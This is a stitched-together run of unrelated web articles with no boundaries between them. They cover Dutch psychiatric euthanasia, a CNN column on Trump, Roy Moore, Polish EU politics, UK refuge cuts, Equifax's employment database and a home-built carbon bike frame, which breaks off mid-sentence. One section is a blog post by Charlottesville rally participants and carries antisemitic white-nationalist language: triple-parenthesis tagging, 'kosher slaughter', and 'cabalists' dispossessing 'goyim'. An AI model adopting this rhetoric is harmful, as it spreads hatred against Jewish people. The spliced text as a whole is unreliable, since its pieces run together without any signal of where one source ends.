But what is happening in the Netherlands is not contrary to the law, says Anne Ruth Mackor of the University of Groningen’s law faculty. The Netherlands allows doctor-assisted dying for “unbearable” suffering “with no prospect of improvement”. That suffering need not be physical, and the patient need not be near death.“From the beginning [psychiatric] cases were possible under the act as it was implemented in 2002,” she notes.
Dr Mackor is an ethicist on a regional euthanasia-review committee, and also she belonged to a supervisory board that wrote a code of practice for physicians who assist patients to end their lives in 2015. She thinks the rise in doctor-assisted deaths among psychiatric patients is down to wider awareness of the law’s provisions rather than some sort of slippage: the result of 14 years of debate and discussion in the country. Doctors today feel more able to navigate the law’s complexities because they now have more support, as well as years of case studies and experience, she says. “At the beginning there was misunderstanding. Doctors often thought you had to be terminally ill or you had to have cancer.”
Dutch doctors presented with a patient who wishes to die must refer each case to an independent physician, for consideration and to ensure that all due care has been taken. A survey by Dr Mackor and a colleague found that most of those independent doctors were aware of the code of practice, which is reassuring—but that only one in five of those who received the original request were. As patients present a wider variety of ailments, more guidance for doctors is required, she thinks. “We want the code of practice to become more widely known. That some doctors don’t know about it doesn’t mean things aren’t working correctly—but they can always be better.”
At a conference held in Amsterdam last month, a paper was presented describing a study of 100 patients with psychiatric disorders in Belgium, where assisted-dying laws are broadly similar to those in the Netherlands. The patients, who had all requested assistance to die, were tracked by researchers between 2007 and 2011. Nearly half were granted the help they asked for, of whom 35 went ahead and two others committed suicide alone. Eleven, though granted permission, were still alive at the end of the period. Most explained their change of heart by saying that knowing that they had the option to die with a doctor’s help had given them sufficient comfort to enable them to continue living.Washington (CNN) President Donald Trump hosted his top military brass and their spouses for dinner at the White House on Thursday night. The group posed for a photo. Then this exchange with reporters happened :
Trump: "You guys know what this represents? Maybe it's the calm before the storm."
Reporter: "What's the storm?"
Trump: "It could be... the calm, the calm before the storm."
Reporter: "Iran? ISIS? What storm, Mr. President?"
Trump: "We have the world's great military people in this room, I will tell you that. And uh, we're gonna have a great evening, thank you all for coming."
Reporter: "What storm, Mr. President?"
Trump: "You'll find out."
What. The. Hell. Is. Happening.
To be clear: Trump didn't have to say anything. Reporters shout questions at these photo-ops all the time. Presidents ignore them all the time. So he did this on purpose. He wanted to say this -- so he did.
And then he did it again! On Friday afternoon, at another photo op, a reporter asked Trump what he meant by his comments Thursday night. According to the pool report, Trump winked and said "you'll find out."
Now as for what he said: When you say "maybe it's the calm before the storm" when surrounded by the top military leaders in the country, it doesn't take much of a logical leap to conclude there is some sort of military operation in the offing.
That's especially true when you have two situations -- North Korea and Iran -- that appear to be coming to a head.
In regard to North Korea, Trump tweeted last weekend that Secretary of State Rex Tillerson was "wasting his time trying to negotiate with Little Rocket Man" -- the latest verbal provocation between Trump and the North Korean dictator. That rhetorical back-and-forth comes amid Kim Jong Un's repeated testing of missiles and refusal to stop his nuclear program.
When it comes to Iran, Trump is expected next week to "decertify" the Iranian nuclear deal crafted by President Barack Obama. Trump has been a longtime critic of the deal, insisting that Iran had not kept up its end of the agreement. (The decertification process will allow Congress 60 days to adjust the pact.)
Which situation was Trump talking about with his "calm before the storm" remark? Both? Neither? We don't know, because Trump wouldn't say.
That, too, was on purpose.
Why? Because the bulk of Trump's experiences directly before running for president was as a reality TV star and producer. (In truth, Trump has been performing in a reality show of his own making for his entire life.) And, in that role, the goal is always to stoke drama, always do everything you can to keep people watching -- through the commercial, through the hour, through to next week's episode. Cliffhangers are the best way to do that -- stoking speculation, reversing expectations and, above all, ensuring people feel compelled to just keep watching.
"Dallas" fans in the 1980s spent months waiting to find out who shot J.R. "Game of Thrones" fans waited with bated breath to find out whether Jon Snow was alive or dead.
Stay tuned! Who knows what will happen next!
Or, in the words of Trump on Thursday night, "you'll find out."
The thing is: The stakes of a reality TV show are roughly zero. The stakes of diplomacy with rogue nations pursuing nuclear weapons are incredibly high.
What's not clear at the moment is whether Trump understands that difference. Whether he gets that by saying things such as "maybe this is the calm before the storm," he is flicking at the possibility of an armed conflict -- and the world is paying attention.
The "does he know what he's doing or is he just doing it?" conundrum sits at the heart of virtually every move Trump has made as a candidate and now as President. What's more dangerous with this latest loose talk, however, is that even if Trump is just saying things to hype up the drama rather than to warn of an actual impending military action, he (and we) have no way of knowing if Iran, North Korea or any other potential target understands that.
This is no reality show. And Trump isn't the producer, controlling all the players. His words -- whether he means them as a tease, a threat or something in between -- can have very real consequences.
Does Trump get any of that? We'll find out.Pastor Flip Benham, a right-wing preacher who appeared alongside Roy Moore at a campaign rally earlier in November, said the Republican candidate for Senate in Alabama pursued "younger ladies" for their "purity."
“Judge Roy Moore graduated from West Point and then went on into the service, served in Vietnam, and then came back and was in law school. All of the ladies, or many of the ladies that he possibly could have married were not available then, they were already married, maybe, somewhere," Benham told Birmingham's Talk 99.5 radio station Monday evening in a clip uncovered by Right Wing Watch.
"So he looked in a different direction and always with the [permission of the] parents of younger ladies," Benham continued. “He did that because there is something about a purity of a young woman, there is something that is good, that’s true, that’s straight and he looked for that.”
Moore, who is vying for Attorney General Jeff Sessions' old seat in a special election set for Dec. 12, has denied accusations from multiple women that he made inappropriate sexual advances toward them when they were in their teens and he was in his 30s, including one girl who was 14 years old and another who was 16 when she alleges Moore sexually assaulted her.
Benham has been a key figure in Operation Save America, an anti-abortion group that evolved from similar organization, Operation Rescue.Arnold Winkelried was a legendary Swiss hero who sacrificed his own life for the nation while staying on moral high ground. Thus his name has become associated with the idea of an individual idealistically challenging the enemy in the interest of the common good. It is a theme that still resonates today, especially when considering the place of Poland in the European Union.
Julisz Slowacki, one of the “Three Bards” of Polish literature, also embraced this way of Winkelried in his dramatic poem Kordian, a drama published in 1834 that is a profound study of a Polish romantic revolutionary’s psyche. The story’s protagonist is a Hamletesque figure who is disappointed with the world, a hero implicated in a tragic conflict of values. Kordian believed that passive resistance bred apathy, and thus the quest for redemption could only be achieved through heroic action.
This historical representation of Messianism in Poland—which opposes Adam Mickiewicz’s vision of Poland as the suffering “Christ of Nations”—maintained that in the course of our tumultuous history, Poles were infused with special knowledge originating from the experience of war and oppression. That precious knowledge turned into insightful wisdom about pain and injustice, with the role of the weak being to remind the strong and prosperous about the frailty of human existence. When it comes to the future of Europe, Poland can still play this role today.
Many people all over the continent wholeheartedly welcomed remarks earlier this month from a Polish member of the European Parliament, Ryszard Legutko, challenging French President Francois Hollande and German Chancellor Angela Merkel during a debate on the current situation in the EU.
A professor of philosophy at Jagiellonian University in Krakow (one of the oldest universities in the world), philosopher and political theorist Legutko argued that France and Germany need to exercise some humility. He reminded the assembly of the true meaning of democracy, rejecting the idea that the “joint appearance is historic because it shows the Franco-German engine of Europe is still powering on and we have a radiant future in front of us.” This event was instead, Legutko argued, “a part of the problem … one or two countries decide for the rest … and we altogether are 28 and 28 is far more than two.”
The leader of the Polish delegation also suggested that there is a fine line between leadership and control, warning that different viewpoints need to be heard in the EU. Acknowledging that “events of recent years have placed a burden of leadership on [the] shoulders” of Angela Merkel, Legutko addressed the German chancellor directly, charging that “you sometimes forget the difference between leadership and dominance.” He explained that “people are concerned that their viewpoint does not matter. Some are ignored. Others are bullied and others are vilified. People are concerned because they hear this deafening federalist rhetoric not rooted in reality and through that thin vein of rhetoric they see a ruthless power play with the President and Chancellor as major actors.”
Legutko concluded his speech by referring to the recent refugee crisis in Europe. He asked a vital question—inconvenient for many liberal progressives—about the future of the European Union, asking why the continent was “inviting the immigrants and then cancelling the invitation.” It was, he said, “unbearable confusion of humanitarian, moral and political arguments that obscure the gravity of the crisis we are faced with … not a language of dialogue but a language to obscure things.”
When Merkel decided to “suspend the Schengen rules and open the German border and then to close the border again,” it was evidence that any semblance of collective decision making in Europe had broken down: “If this is not a proof of dominance, what is?”
There is some evidence that Legutko’s message is resonating, at least in Poland. This week his Law and Justice party secured an absolute majority in the Sejm, the lower house of the Polish parliament, the first time any party has achieved that since democracy was restored in 1989.
Legutko’s defense of freedom and deep concern over the future of Europe speaks to the historic Polish consciousness, all the way back to the tradition of Romantics such as Slowacki and legendary figures such as Winkelried. The Swiss hero threw himself among the enemy’s spears, and “opened a path for freedom.” Perhaps Poles such as Legutko, if they are unafraid to challenge the Franco-German rulers of the EU, can do the same today.
Adriel Kasonta is an editorial board member at the Central European Journal of International and Security Studies, and co-editor of Konserwatyzm.pl. He was chairman of the International Affairs Committee at the Bow Group think tank (2014-2015), and is the editor and leading author of the Bow Group’s report titled “The Sanctions on Russia.”SUBSCRIBE AND FOLLOW Get top stories and blog posts emailed to me each day. News
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, and I think your writing is very enlightening, but you were dead-wrong on this point. My wife and I both attended the August 11th torch march and the Unite The Right rally, and we know many of those folks personally. We're not Commie infiltrators or globalists - we're blue-collar people who are sick of being attacked and impugned, and your conspiracy theories about us are silly. Not EVERYTHING is a damn psy-op. I'm @reactiontorrent and my wife (who marched next to me) is @Title_Nein
(left. Cabalists at Mad Magazine are terrified goyim will realize they have been dispossessed.)
[I asked him to expand about the genesis of the march.]
Thanks for the response, sir. To be honest, I wasn't an organizer, so I have no idea about that. Even guys like Cantwell and Enoch, even Duke, were just invited speakers along for the ride. They weren't involved in any planning: that was mainly Spencer and Kessler, who we ran into right before the torch march. Jason was running around the UVA grounds in a group of 5 or 6 guys looking desperate and trying to find "Nameless Field", which is where Spencer planned the start of the march. Kessler seemed like he was the last to know where it was (or that it was even happening.) Personally, I got the strong impression he was in over his head, and Spencer was competing for limelight and executive control. It felt like a bit of a media coup, but nothing too underhanded or aggressive - just maybe some Chad dick-measuring.
Anyway, we weren't near the car wreck, as we'd been forcibly removed from the park and sent a damn mile through town to McIntire park where we basically lost direction without our leaders. Spencer, Damigo, etc. were, at that time, busy getting pushed around by SWAT in Lee Park in that famous picture. SO, I can only speak to my experience.
Anyway, that certainly won't illuminate any James Fields questions you may have, but It was VERY OBVIOUS to us that the police and city leadership were certainly intent on violence. Being frogmarched from location to location all day in the heat, with screaming SJWs fucking with us the whole way was very demoralizing, as well as creating other issues for us sense. We had trouble sleeping for a couple weeks after leaving town. Experiencing that level of fear for 6 straight hours and all the stress of the fog-of-war has had lasting effects.
Anyway, feel free to use whatever you like, but I don't write well, so I'll leave that to the more verbose warriors ;-)
Note- Hedd explains how (((ACLU))) originally got the march allowed.
As far as the ACLU's history, I agree. They've become nothing more than a Globalist 5th-column. But in the case of "Unite The Right," I think they (mistakenly) saw an opportunity to try to appear impartial. I haven't read much into the details, but they did something similar a few decades back when one of their young Jewish lawyers defended a "Neo Nazi" in a widely-publicized case. It was all just Kabuki theater; a public-relations power-play. Anyway, this seemed to be more of the same. The Charlottesville city council was doing anything they could behind the scenes to legally refuse us our constitutional right to peacefully assemble. Apparently, they were at their wits end, and chose a couple days before the rally the just break the law and pull the permit. The old idiom "better to beg forgiveness then ask permission" comes to mind. They probably figured that the fallout from an illegal action like that would prove less detrimental than allowing our guys to publicly state our arguments. I guess hindsight is 20/20.
I can't be sure, but I believe it was Kessler who contacted the ACLU. It didn't seem like they needed much convincing, but I'm not privy to the details. It's just that they got on board so fast. They immediately challenged the City of Charlottesville, and backed them into a corner. Mayor Signer and his boy-wonder (the ungrateful Wes Bellamy) folded in less than two days, and the rally was back on. The ACLU even had official observers on standby to make sure our rights were protected, or at least to make it appear so. I'm hesitantly inclined to believe the former, as they were pretty instrumental in publicly shaming and blaming city hall after the whole cluster-fuck. It wasn't until after, when the Trump "good people on both sides" shit-storm was in full swing that the ACLU did an about-face, stating they would no longer actively help "White Supremacists" with their 1st Amendment needs. I don't doubt some kosher slaughter had gone on behind the scenes before the one-eighty they pulled. It had been a big embarrassment for them in their cosmopolitan circles.
Related- Charlottesville Police Chief resigns after Report Condemns Response
First Comment (from Twitter) RD wrote:John Oliver simply cannot figure President Trump out. Don’t worry bud, you’re not alone.
The HBO host opened Sunday night’s “Last Week Tonight” by recapping former FBI director James Comey’s testimony from a few days ago, and then the leader of the free world’s bizarre Twitter “victory” lap about 20 hours later.
Here’s what Trump posted on the social media site Friday:
Despite so many false statements and lies, total and complete vindication…and WOW, Comey is a leaker! — Donald J. Trump (@realDonaldTrump) June 9, 2017
Also Read: 'Morning Joe' Rips Trump for Tweeting: 'He Can't Help Himself' (Video)
“Just think about what he’s saying there: Trump is essentially claiming that he’s been vindicated by testimony that he’s claiming is false,” Oliver said on Sunday. “At this point, he’s become a walking logical paradox.”
“So why did Trump just seem to expose himself like that?” Oliver asked a question that apparently no one can answer. “I don’t know. I cannot explain his behavior. Jane Goodall cannot explain his behavior.”
For the main portion of his program, the “Daily Show” alum tackled the recent United Kingdom election and its Brexit implications. Readers can watch that video above.The road to utopia can only be accessed via a shrinking state: at least, that’s what the Tories want us to swallow. Under this government, councils have had budgets hacked by 40%. It is, lest we need reminding, our most vulnerable who are feeling the pinch. Like the drone of incessant drilling or the hum of a nearby motorway, the fact seems almost undeserving of further inspection. Almost.
Last year a third of those escaping domestic violence were turned away because of a shortage of beds in refuges. Writing on the launch of the Femicide Census, which keeps count of women murdered by men in the UK, Sarah Ditum notes that the cuts have been keenly felt by frontline services dealing with violence against women and girls (VAWG). Specialist provision that catered to black and minority ethnic women, those belonging to the LGBTI community, the disabled and the young are being further affected by cutbacks.
You don’t have to take my word for it; the UN’s special rapporteur on violence against women, Rashida Manjoo, said as much following her visit to the UK last year. Imkaan, an organisation dedicated to addressing violence against black and minority ethnic (BME) women and girls, outlines the awful impact of austerity on specialist services. It reports that of its 27 member services, it has lost one refuge in Nottingham and all have had cuts of between 20% and 100% of their funding.
One such organisation facing a funding crisis is the UK’s only refuge service for Latin American women. Based in the London borough of Islington, Latin American Women’s Aid (LAWA) has for 27 years been providing shelter and support to women and children fleeing domestic violence.
Though Islington council was wrong in its decision to cut funding, directing anger and frustration at them in this particular case is merely shooting the messenger. This is not a disaster of their making. For that we have to look to a government that has given us austerity and its corollary, the far less discussed localism agenda.
No one wants to be against localism, with its romantic whiff of tribal homeliness. It is, particularly where violence against women and girls is concerned, important to have a wealth of knowledge and experience at the community level. Yet, more and more, this is being used to undermine specialist services. Funding is increasingly withdrawn from specialist organisations because they are perceived as not catering to the needs of locals. Islington council, in withdrawing LAWA’s funding, stated that the service didn’t represent good value for money. Why? Because not enough of those who used LAWA were from the borough. Where once cross-boundary working between local authorities meant women could move to neighbouring councils and still have their places funded by their “home” council, women are, ever more, becoming tethered to the area where their abuser lives. Cash-strapped councils eager to ensure value for money will only fund places for current residents. The negative impact of this on women’s safety is pretty clear.
Devolving this duty on to councils ‘free' to commission them for their local community is a convenient trick
Why should it even matter if a refuge is or isn’t specialist? The answer is simple; society is made up of people from differing social categories who will, inevitably, have differing needs. To expect that VAWG services reflect this through a range of areas of expertise isn’t too much to ask. It’s fairly basic. Women wanting to escape violence at home and rebuild their lives thereafter are more likely to do so if they have an organisation that, as Gabriela Quevedo of LAWA puts it, “understands the specificity of their background”.
Under localism, VAGW services no longer receive the bulk of funding from central government grants. Devolving this duty on to councils that are “free” to commission them for the benefit of their local community is a convenient trick. The grim reality is that freedom without the resources to exercise it doesn’t mean very much.
The bewildering, if unsurprising, result is that soulless multinationals like Serco and G4S have entered the “market”. Offering a one-size-fits-all approach, using the language of time scales and targets, they promise to drive costs down now that budgets are squeezed. There’s money to be made in human misery. Welcome to the back-door privatisation of an essential public service.
According to David Cameron “we are still all in it together [and] the question now is how we move forward and make sure Britain and its people rise.” Such rhetoric is as substantive as a loud fart. After five years, we know that only the very few are winning under the coalition’s cuts. Theresa May in 2011 declared her ambition was “nothing less than ending violence against women and girls”. There’s much that she’s implemented to move us closer to that goal. A shame then that her government’s spending cuts undermine this hard work.Equifax also operates an employment verification database that contains sensitive employment information for more than 1/3 of all employed Americans. Aside from being a huge pinata just waiting for a hacker’s swing, it’s unclear exactly what info is being sold to third parties.
Last week, NBC’s Bob Sullivan penned a lengthy report on The Work Number, the database run by Equifax.
Writes Sullivan:
Its database is so detailed that it contains week-by-week paystub information dating back years for many individuals, as well as other kinds of human resources-related information, such as health care provider, whether someone has dental insurance and if they’ve ever filed an unemployment claim. In 2009, Equifax said the data covered 30 percent of the U.S. working population, and it now says The Work Number is adding 12 million records annually.
To people who value their privacy, this is a truly scary proposition. Putting aside the concerns about hacking the data, which Equifax assures in secure, the big issue is exactly what is made available to third parties that can request info from The Work Number?
In the Sullivan article, Equifax only says that it provides these parties with “employment data” in keeping with the Fair Credit Reporting Act [PDF]. He also spoke with a Federal Trade Commission attorney who said it’s possible that Equifax could be selling salary information since it’s part of a credit report. (Note: A search of the Word Number employee list finds that the FTC actually contributes its employees’ records to the database).
However, in speaking with Forbes.com’s Kashmir Hill, Equifax clarified that “The Work Number does not provide debt collectors with salary/pay rate/income information… They can request only employment verification data which The Work Number will provide if there is permissible purpose, as detailed by the Fair Credit Reporting Act (FCRA).”
In that piece, an Equifax rep claims, “The Work Number also requires consumer consent for verifications of income – a safeguard above and beyond FCRA.”
From what we can gather by culling together the various reports and statements on the matter, it looks like Equifax can provide your salary information to third parties if you give your consent. So yes, Equifax can make this information available, but it claims it is not making it available to debt collectors.
Regardless, the mere presence of all that information tied up in one database is daunting. For those consumers whose employers participate in the program, it means yet another report to check annually, hoping there isn’t an error that will chase you for the rest of your life.
Speaking of which, to check if your employer is involved with the The Work Number, go HERE and click on “Find Employer Name” right above the Log In button. That will bring up a window where you can search for your employer.
If your employer is supplying info to The Work Number, you are entitled to one free report every 12 months. To get that, click HERE and follow the steps.Design
A) Geometry. I chose geometry that I knew I would like, based on bikes I've ridden. (For more information about how to choose frame geometry, see framebuild.htm.) This bike is a normal road bike: 59cm seat tube, 57cm top tube, average bottom bracket height, etc. To begin the full-scale drawing, I plotted only the points required to hold the seat post, rear wheel, fork, etc. I did not draw any frame tubes yet. This bare-bones geometry formed the skeleton. In the next section I describe how I fleshed it out. B) Shape. I designed a shape that is distinctive and appropriately proportioned for the loads I believe a bicycle experiences. I connected the dots from the geometry described above, thus fleshing out my skeleton. This is one of the parts I enjoyed the most: dreaming up all kinds of unusual shapes with which to make a bike. Trying to balance out the weight, strength, frontal area, looks, and doability is exciting to me. My bike is a beam bike, with the beam integrally made as part of the frame (no pivots, bolts or hinges). I also decided to make the rear triangle asymmetrical. On the right-hand side, I gave my frame a chainstay and a single seatstay (it really goes from the dropout to a point above the front derailleur). The seatstay serves as a means to route the rear derailleur cable. It gives the cable a pretty straight shot, minimizing the bends (which create friction), so as to allow the best possible shifting. On the left is a single chainstay. It runs from the rear dropout forward to the main part of the frame. It is level with the ground, not sloping down to the bottom bracket as usual. I theorized that with a level chainstay, most of the length of the tube would draft off of the forward end of itself. In practice I doubt it helps the aerodynamics much, but it is visually appealing. At this time I also checked for clearance with the bike components. Clearances include the tire clearance needed to remove the rear wheel from the frame, front derailleur clearance as it operates through its stroke, rear brake caliper clearance between the rider's ankles, allen key clearance from the frame when installing the front derailleur and rear brake, etc. C) Details. I planned for all the metal parts and cable routing. Aluminum parts include the bottom bracket shell (threaded), head tube, cable housing stops, front derailleur backing plate, seatpost binder mechanism and rear brake boss. The two rear dropouts and a seatpost pressure plate are titanium. Cable routing on my frame is internal. I made cable housing stops out of aluminum, and threaded the front one to accept a Shimano barrel adjuster. I machined the rear one to accept a Shimano wing-type adjuster from Dura-Ace STI.
Tooling
A) The Frame Jig. I made a flat-table jig with standoffs to hold the hard points in alignment. The standoffs hold the frame horizontally a few inches above the table. Hard points included the bb, head tube, rear dropouts and seatpost mandrel. I made the wooden standoffs adjustable for frame alignment by screwing a wood screw into the top of each standoff. To raise a point of the frame, I unscrewed the wood screw at the appropriate standoff. To lower a point, I screwed it in deeper. I checked the frame s alignment often during construction, by standing a straightedge across the lathe-turned face of the bb shell mandrel. On the far end of the straightedge, I taped a 34 mm flag of paper to reach to the centerline of the frame (my bb shell is 68 mm wide). By extending the straightedge from the bb in any direction, I could confirm the frame's centerline anywhere on the frame. The hard points (bottom bracket, head tube, rear drop outs and seat post) stand on the jig's standoffs, so once I adjust their hieghts, their alignment is guaranteed. But to hold the foam core in alignment between the standoffs, I made jacking screws using carriage bolts and nuts. The nuts stood on the table jig's surface, and the round head of the carriage bolt stood up under the foam core. To raise the core (it began to sag over a period of a day or two without the jacking screws), I turned the screw out of the nut, and the head of the bolt lifted the underside of the core. I had about seven jacking screws and slid them around on the table top to whichever part of the foam needed support at the time. I removed the jacking screws for the hour or so I needed to lay up each couple of layers of carbon/epoxy, and put them back in place after I had wrapped the electrical tape over the layup. B) Front Derailleur Jig. I also made a small fiberglass jig to locate the front derailleur relative to the chain rings and rear dropouts. Since my frame has a beam top tube to support the seat, there is no seat tube with which to locate the front derailleur. So instead of referencing the front derailleur's position relative to a seat tube, I decided to place it relative to the bb and rear dropout. By locating the outside cage surface relative to the chain ring and rear dropout, I could hold the derailleur in its correct position and attach the braze-on mount wherever it needed to be on the frame in order to hold the derailleur correctly. The jig I made is simply a fiberglass splash off of my wife's Merlin. She has a Dura-Ace front derailleur and I have a Dura-Ace front derailleur, so the contour of the cage is the same for both our bikes. We also both use a 53 tooth chain ring, so the radial location of the front derailleur from the bottom bracket is the same. With the Merlin lying on its side, I laid a sheet of plastic (cut from a plastic bag) over the front derailleur and chainring to protect the parts from epoxy. Then I wet out about five layers of fiberglass with epoxy and laid them on the front derailleur /chain ring region, thus taking an impression. This impression would serve to locate my front derailleur relative to the radius of my chainring. To get the correct angle around the chainring (analogous to seat angle), I glued a reference pointer dowel to the fiberglass splash and pointed it to the rear dropout. After it cured, I removed the jig from the Merlin. By drilling a few holes in strategic places in the jig, I attached my own derailleur and crank (with its cartridge bb installed) to it. When I slipped the bb into the aluminum bb mandrel on my frame jig and pointed the pointer dowel at my rear dropout, I knew by the front derailleur's position where to mount its bracket on the frame. C) I formed two cavities in the frame: one for the bb shell and one for the seatpost. Fiberglass (to electrically insulate between the carbon and aluminum, thus preventing galvanic corrosion) and then carbon were laid up over mandrels on the main jig to shape the holes for the bb shell and the seat post. The bb mandrel was a 1 1/2 inch OD aluminum tube with a 0.005 inch sheet cut from a thin plastic bag wrapped around it to keep the epoxy from sticking to it, and to create a 0.005 inch glue gap for the bb shell to be bonded in later. I shaped the cavity for the seat post over a polished titanium tube. I cut the tube from the largest-diameter 27.2 mm seat post I could find. To prevent the epoxy from sticking to it, I waxed it several times with Turtle Wax car wax.
Tools and Workspace
A) Standard tools. I used a hacksaw (fine blades), cheap bench vise (it came with the house), drill motor and drill bits, files and file cleaning brush, Exacto knife, scissors, etc. B) Special tools. I used a long drill bit to drill the hole for the front derailleur cable from the bottom bracket to the front derailleur. I used a ball-nosed Dremel cutter to cut away mistakes in the composite after the epoxy had cured, and for making clearances at various places. I used a few threading taps to cut threads in the aluminum seatpost binder block and the front derailleur backing plate. Of course, I needed the proper-ratio epoxy-dispensing pumps ("mustard pumps") from West System and epoxy spreading rollers (like paint rollers, only extremely slim nap). C) Supplies. Supplies are things that get used up or wear out, and so needed to be replenished. I used latex gloves (for handling epoxy), a disposable respirator (to avoid breathing in dust while sanding and cutting the carbon), special shears (for cutting the carbon), scotch tape, plaster of Paris (for making small molded shapes, like the front derailleur contour, discussed below), peel ply, plastic sheeting (to cover the workbench while I wetted out the carbon) (I used a fresh sheet for each batch of epoxy), paper mixing cups WITHOUT a wax coating (wax would mix with the epoxy, weakening it), mold release, electrical tape, acid brushes, acetone, masking tape, 80 grit emery paper, a flexible sanding block, and two 1-inch paint brushes (for brushing off the dust from sanding). D) Workspace. I used my two-car garage. I already had some stuff in it, so the actual space I used was about one third to one fourth of the whole garage. I used the ancient workbench that came with the house, and I set up my particle board frame jig on a card table. I used some storage shelves to store the rolls of carbon fiber and cans of epoxy.
Materials
A) The Composite. I chose unidirectional carbon fiber (170 grams per square meter) for almost all the carbon in the frame. It is Hexcel GAO 45, nominally 4.5 ounces per square yard. The top (visible) layer is four-harness satin carbon cloth, Hercules AS4 (370 g/sq. m). Laminating epoxy is West System's 105 resin and 205 or 206 hardener, depending on my open time requirements and the ambient temperature. Bonding epoxy is 3M's DP-460. Laminating resin is thinner than bonding resin (the better to wet out the fibers). I imagine that there are other differences: both laminating resin and bonding resin have optimized chemical formulations to produce the best physical properties for the application. B) Metal Parts. The head tube is a 1 1/4 inch OD.035 wall aluminum tube. The bottom bracket shell is 1 1/2 inch OD aluminum, threaded 1.370 x 24 tpi LH & RH (English). The dropouts are CNC machined from 7 mm thick 6/4 titanium plate. (They were designed for use in a welded titanium frame.) (You can get similar parts made for welding in metal frames. The three-dimensional bonded area for the dropouts is about three square inches for the left, and about six for the right. In addition to the bonded area, the dropouts' shape mechanically locks them into the carbon. I lathe-turned the cable housing stops and rear brake boss from aluminum scrap. The front derailleur mounting bracket is from a Kestrel 500 SCi. The front derailleur backing plate inside the frame is 1/8-thick aluminum plate, but I wish I had used 1/4. I have already begun to strip the M6x1 threads! I will try a helical thread repair kit. (Three years later, the helicoils are holding up fine.) D) Cost. I kept careful track of the money I spent, but not the hours. The project took about the whole summer of 1995, not including the time spent beforehand thinking and dreaming up sketches. After I was done, I totaled up $848.78 spent. With hindsight, I see now that I could have spent less. If I were to do it again, I could make the same bike for about $600.00. But who wants to make the same bike over again? I will try a new design next time!
Making the Core
A) Basic Shape. I looked up some symmetric airfoil shapes in the local university library and photocopied them in various sizes. These became the templates for the cross sections at various waterlines along the frame members. A friend of mine who does sailboard repairs did the bulk of the shaping of the styrofoam core. I provided a full-scale, two-dimensional plot of the side view of my design and the airfoils for him to work from. The foam is SVF rigid styrofoam, 2 pounds per cubic foot. Next time I plan to use two-pound rigid polyurethane. It is easier to shape, and not as flexible as the styrofoam I used. B) The Details. After the basic shape was carved in foam, I wrapped two light layers of wetted-out fiberglass (again, to insulate against galvanic corrosion) around the aluminum head tube and lightly bonded it onto the core. Then I bonded the cable housing stops in place in the foam core. At this time I cut shallow ditches in the foam downtube to embed the Teflon cable tunnels into the surface of the foam. I then shaped the bb hole in the foam to fit over the bb mandrel on the frame jig. To do this, I cut a rough, oversized hole in the foam. Then I put the foam core into position on the jig, and poured a mix of epoxy and microspheres into the gap between the foam and the bb mandrel on the jig. By first wrapping a sheet of cardboard over the bb mandrel and covering that with a thin sheet of plastic, I formed the foam cavity so as to leave a 0.045 inch space between the foam and the mandrel. This space was for the carbon hoops I wrapped around the mandrel later to form the bb shell cavity in the frame.
Layup
A) Templates. I made paper templates, like patterns, to use as a guide for cutting the carbon from the roll. Fiber orientation is a mix of 0 degrees, +30 degrees and -30 degrees for most sections, 0 degrees being parallel to the long axis of the frame member. The number of laminates varies from seven at the thinnest to 24 at the thickest. High stress areas such as the root of the top tube/beam, the head tube, bb area and tube junctions received the most laminates. B) Layup. This was one of the most time-critical tasks. Wet epoxy gives you only a limited amount of handling time before it begins to gel. I prepared everything in advance and made sure I had all the things I needed before I began mixing epoxy. Then, following the instructions from West System on "Using WEST SYSTEM Epoxy", I laid the first layer of carbon onto the foam. I used small pieces, about one square foot or less in order to be able to handle it better than if I had used larger pieces. In the future I plan to use the slow hardener (West System's 206) in order to lay up bigger peices. I allowed for 1/2 overlap on all edges of every piece in each layer, and avoided having overlaps occur at the same place on the frame in different layers. Sounds hard, but it is easier to do than explain. The idea was to avoid sudden changes in wall thickness or a simultaneous ending of several layers, both of which could make that area weaker than it could have been. I kept all the paper templates, and wrote notes on each, including the date, number of layers, fiber orientation, etc. I wrapped over the first layer of carbon with electrical tape to provide compaction during cure. I wrapped the tape too tightly on this first layer, however, and the foam core began to shrink unevenly under the pressure. This allowed the carbon to bunch up, fold, and otherwise get out of order. The tape caused ripples and folds in the cured laminate. The cross section of the core also grew smaller as the foam slowly collapsed, decreasing the size from my design. If I had the chance to do it over, I would wrap the tape much looser on the first layer of carbon in order to avoid this problem. Then I would wrap subsequent layers tighter, since after the first layer cured, it would be rigid enough to prevent the shrinking problem I experienced this time. Using polyurethane foam probably would help, too, as it seems more rigid than the semi-flexible styrofoam I used in this frame. After I repaired the first layer and had a stiff layer of carbon over the foam, I wrapped subsequent layers tighter. I tried to compensated for the smaller cross-section at this point (the root of the beam) by adding more layers. I wrapped the electrical tape with the sticky side out. This prevents the adhesive on the tape from sticking to the epoxy and interfering with the bonding of the laminates to follow. I continued adding layers as I had planned until I had the correct number of plies at each area of the frame.
Non-Standard Layups
A) The Bottom Bracket. I wanted to be sure the bb shell would be strong enough. I planned to bond the aluminum shell itself into the frame later, so my job during the layup phase was to provide a strong cavity into which I later bonded the shell. Dimensions add up here, as there are several layers I had to anticipate: Aluminum bb shell is 1.500 inches diameter.
Bonding epoxy requires a 0.005 inch gap (on the radius).
Carbon/epoxy hoop wraps around the bb shell total about 0.045 inches thick My jig had a 1.500 diameter mandrel to represent the bb shell. I wrapped a 0.005 inch sheet of plastic over the mandrel to represent the 0.005 inch glue gap. I also taped a layer of 0.045 inch thick cardboard around that to represent the thickness of the hoop wraps. The mandrel was now the right size to cast the hole in the foam core. The rigid foam is hard to fit precisely, so I formed a rough oversized hole in the foam core for the bb shell. I used a microballoon/epoxy mix to fill in the gap between the foam and the mandrel. After the microbaloon/epoxy casting cured, I laid up the hoop wraps and the other carbon/epoxy that overlaps the bb and down tube, chainstays and sides of the core. I removed the carbon layer from the mandrel but left the plastic layer on to represent the glue gap. I rolled the hoop wraps around the mandrel. I included two fiberglass plies to prevent galvanic corrosion, and then two plies of carbon cloth, all wetted out with epoxy laminating resin. Immediately I placed the foam core onto the wet hoops. While the hoops were still wet, I laminated four layers of cloth over the exposed crescent of the hoops on the underside of the bb shell and onto the foam core. B) Front Derailleur. The width of the frame at the front derailleur area approaches interference with the derailleur. To be sure it wouldn t touch during use, I molded the exterior of this portion of the frame. I temporarily installed the derailleur on the foam core using my fiberglass splash front derailleur jig as described above. I cut a little hole through the thin first layer of carbon already on the foam. Then, with the help of my jig, I placed the derailleur in its final, as-installed position. Then I mocked up the frame contours I wanted using modeling clay directly on the foam core, checking often for clearance with the front derailleur. I made the clay as smooth and accurate as possible, as it would form the shape of the visible exterior of my 